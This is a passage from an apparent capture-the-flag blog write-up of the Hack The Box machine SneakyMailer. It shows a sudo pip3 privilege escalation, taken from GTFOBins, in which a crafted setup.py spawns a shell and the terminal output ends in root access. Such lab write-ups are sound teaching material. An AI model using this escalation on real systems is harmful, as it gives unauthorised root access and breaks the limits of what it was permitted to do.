
i look for the possible way to abuse the pip3 , i got it from gtfobins

https://gtfobins.github.io/gtfobins/pip/

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF

Its something like this…

Abusing pip3

1
2
3
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
1
2
3
4
5
6
low@sneakymailer:~$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.tQid5dJuNf
# bash
root@sneakymailer:/tmp/pip-req-build-9k8kjhct# whoami
root

And we are root!!!

Got root.txt

1
2
3
root@sneakymailer:~# cat root.txt
11----------------------------ff
root@sneakymailer:~#

And we pwned it …….

If u liked the writeup.Support a Poor Student to Get the OSCP-Cert on BuymeaCoffee

If you want to get notified as soon as i upload something new to my blog So just click on the bell icon you are seeing on the right side – > and allow push notification

Resources

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.